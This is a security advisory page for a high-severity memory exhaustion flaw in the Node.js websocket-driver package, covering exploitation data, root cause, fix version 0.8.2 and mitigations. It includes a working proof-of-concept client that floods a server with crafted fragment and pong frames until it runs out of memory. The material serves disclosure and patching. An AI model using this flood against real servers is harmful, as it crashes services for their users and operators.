websocket-driver: Memory exhaustion triggered by small fragment frames holding long-lived references to TCP readsGHSA-j7r2-xppq-m353
HIGHFix: faye/websocket-driver-node@93c3c5fGHSA-j7r2-xppq-m353 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in websocket-driver. A fix is available for websocket-driver — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-j7r2-xppq-m353.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
websocket-driverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
With the default configuration options, an unauthenticated remote client is able to force the server to retain large Buffer objects in memory far longer than necessary, by sending it a series of small fragment frames embedded in larger chunks of TCP input. This can cause substantial memory inflation and lead to the server running out of memory and crashing.
Details
websocket-driver handles incoming TCP input via a pipe() call that feeds Buffer objects read from a TCP stream into the driver. A class named StreamReader stores the sequence of received buffers in an array and its read(length) method is used by the parser to consume arbitrary-sized chunks of the input stream.
If the requested length is smaller than the length of the first Buffer in the input queue, the Buffer.slice() method is used to take a reference to a slice of that Buffer without copying it. Since slice() takes a reference to the source Buffer, the source is not garbage collected until all slices taken from it are dropped.
A client can abuse this by embedding a 1-byte fragmented message frame in a larger chunk of TCP input, for example a long sequence of pong frames. The parser will take a 4-byte slice for the frame mask and a 1-byte slice for the frame payload, and these slices will internally reference the original TCP read input. Since the fragments are buffered indefinitely until either the message is completed or the total of the 1-byte fragments exceeds maxLength, the client can make the server keep live references to the original TCP inputs long after it needs them. This substantially inflates the amount of memory the server is using and may lead to it crashing.
As of version 0.8.1, the parser does compact the buffered message fragments once 1,000,000 fragments are received, so the client is able to make the server retain up to 1,000,000 TCP read inputs before this limit is reached. Before version 0.8.1, this compaction limit does not exist and the server will buffer fragments until their length totals maxLength.
Proof of concept
This server uses websocket-driver to handle incoming connections, and periodically logs the amount of array buffer memory it is using:
const net = require('net')
const websocket = require('websocket-driver')
const server = net.createServer((connection) => {
const driver = websocket.server()
driver.on('connect', () => {
if (websocket.isWebSocket(driver)) driver.start()
})
driver.on('close', () => connection.end())
connection.pipe(driver.io).pipe(connection)
})
server.listen(5107, '127.0.0.1')
setInterval(() => {
const MiB = Math.round(process.memoryUsage().arrayBuffers / 1048576)
console.log('ArrayBuffers (MiB): ' + MiB)
}, 1000)
This client connects and then sends 64 KiB chunks of input that consist of a single 1-byte fragment frame, padded out with pong frames. It sends this data continuously and never sends a final frame of the fragmented message:
const { randomBytes } = require('crypto')
const net = require('net')
// masked frames, mask key 00 00 00 00
let firstFragment = Buffer.from([0x01, 0x81, 0, 0, 0, 0, 0x61]) // text, FIN = 0, 1 byte
let continuation = Buffer.from([0x00, 0x81, 0, 0, 0, 0, 0x61]) // FIN = 0, 1 byte
function pong () {
return Buffer.concat([Buffer.from([0x8a, 0xfd, 0, 0, 0, 0]), randomBytes(125)])
}
// 1 continuation fragment + 500 pongs = about one 64 KiB socket read
let unit = Buffer.concat([continuation, ...Array.from({ length: 500 }, pong)])
let socket = net.connect(5107, '127.0.0.1')
socket.on('error', () => {})
socket.write(
'GET / HTTP/1.1\r\n' +
'Host: 127.0.0.1\r\n' +
'Connection: Upgrade\r\n' +
'Upgrade: websocket\r\n' +
`Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n` +
'Sec-WebSocket-Version: 13\r\n' +
'\r\n'
)
socket.once('data', () => {
socket.write(firstFragment)
let flood = () => {
while (socket.write(unit)) {}
socket.once('drain', flood)
}
flood()
})
When running both of these, the server's memory use is observed to increase indefinitely. After patching, it remains at a low stable level.
Impact
A server using websocket-driver can be forced to retain unneeded Buffer objects in memory indefinitely by an unauthenticated remote client, causing it to run out of memory and crash.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | websocket-driver | all versions | 0.8.2npm install websocket-driver@0.8.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for websocket-driver, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update websocket-driver to 0.8.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j7r2-xppq-m353 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is GHSA-j7r2-xppq-m353 in your dependencies?
Find it across npm, including transitive dependencies.